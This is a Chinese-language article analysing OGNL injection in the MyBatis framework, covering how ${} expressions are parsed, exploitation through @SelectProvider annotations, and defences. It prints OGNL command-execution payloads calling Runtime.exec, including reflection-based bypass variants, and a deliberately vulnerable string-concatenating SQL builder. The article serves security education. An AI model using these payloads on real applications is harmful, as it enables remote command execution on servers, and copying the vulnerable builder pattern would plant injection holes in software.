mybatis下的ognl注入分析
字数 1543 2025-08-29 08:30:24
MyBatis下的OGNL注入分析与利用
1. MyBatis简介
MyBatis是一款优秀的持久层框架,它简化了JDBC代码,解决了JDBC将结果集封装为Java对象的麻烦。主要特点包括:
- 通过XML或注解方式配置SQL语句
- 将Java对象和SQL语句进行映射
- 自动执行SQL并将结果映射为Java对象
1.1 MyBatis核心组件
- mybatis-config.xml:核心配置文件,用于生成SqlSessionFactory
- SqlSessionFactory:生成SqlSession对象
- SqlSession:执行SQL并返回结果,类似于JDBC中的Connection
- Executor:底层对象,执行SQL语句
- MapperStatement:接收输入映射和输出映射
2. OGNL注入原理分析
2.1 OGNL表达式在MyBatis中的解析过程
MyBatis在处理SQL语句时,会对包含${}的表达式进行OGNL解析:
- 当SQL语句中包含
${expression}时,MyBatis会提取expression部分 - 将提取的内容作为OGNL表达式执行
- 将执行结果替换到SQL语句中
2.2 关键代码分析
- DynamicSqlSource:处理包含
${}和动态SQL节点的SQL语句 - TextSqlNode.apply():解析SQL文本中的表达式
- BindingTokenParser.handleToken():将
${}中的内容作为OGNL表达式执行
2.3 漏洞触发流程
- 用户输入被传入
apply方法 parse方法提取${}中的内容handleToken方法将内容作为OGNL表达式执行- 执行结果被拼接到SQL语句中
3. 利用场景分析
3.1 XML配置中的潜在风险
在XML映射文件中,如果直接使用${}表达式且未做过滤,可能导致OGNL注入:
<select id="findUser" parameterType="String" resultType="User">
SELECT * FROM users WHERE name = '${name}'
</select>
如果攻击者传入${@java.lang.Runtime@getRuntime().exec("calc")}作为name参数,将导致命令执行。
3.2 防御措施的限制
开发者通常的防御方式:
- 先解析表达式,再添加参数
- 这种方式可以防止直接通过参数注入OGNL表达式
3.3 注解方式的利用
3.3.1 常规注解的问题
使用@Select等注解时,仍然是先解析再放入参数,无法直接利用:
@Select("SELECT * FROM users WHERE name = '${name}'")
User findUserByName(@Param("name") String name);
3.3.2 Provider注解的利用
@SelectProvider等Provider注解存在风险,因为它们是先传入参数再解析:
@SelectProvider(type = UserSqlBuilder.class, method = "buildGetUsersByName")
List<User> getUsersByName(String name);
class UserSqlBuilder {
public String buildGetUsersByName(String name) {
return "SELECT * FROM users WHERE name = '" + name + "'";
}
}
这种模式下,如果攻击者控制name参数,可以注入OGNL表达式。
4. 漏洞利用方法
4.1 基本利用方式
${@java.lang.Runtime@getRuntime().exec("calc")}
4.2 绕过限制的技巧
-
使用字符串拼接:
${@java.lang.Runtime@getRuntime().exec("calc".toString())} -
使用反射:
${@java.lang.Class@forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("calc")}
4.3 实际攻击场景
- 通过Provider注解注入
- 通过XML映射文件注入(需能控制XML内容)
- 通过动态SQL注入
5. 防御措施
5.1 最佳实践
- 避免使用
${}:尽量使用#{}预编译方式 - 严格过滤输入:对用户输入进行严格校验
- 禁用危险功能:限制OGNL表达式的执行能力
5.2 代码层面的防御
-
使用预编译语句:
<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM users WHERE name = #{name} </select> -
对Provider注解进行安全处理:
class UserSqlBuilder { public String buildGetUsersByName(String name) { // 对name进行过滤 String filteredName = filter(name); return "SELECT * FROM users WHERE name = '" + filteredName + "'"; } }
5.3 配置层面的防御
- 限制OGNL的执行权限
- 使用安全的MyBatis配置
- 定期更新MyBatis版本
6. 总结
MyBatis中的OGNL注入是一个严重的安全问题,特别是在使用动态SQL和Provider注解时风险更高。开发者应当:
- 充分了解MyBatis的安全机制
- 避免直接使用
${}表达式 - 对用户输入进行严格过滤
- 定期进行安全审计
通过合理的安全措施,可以有效防止OGNL注入漏洞的发生。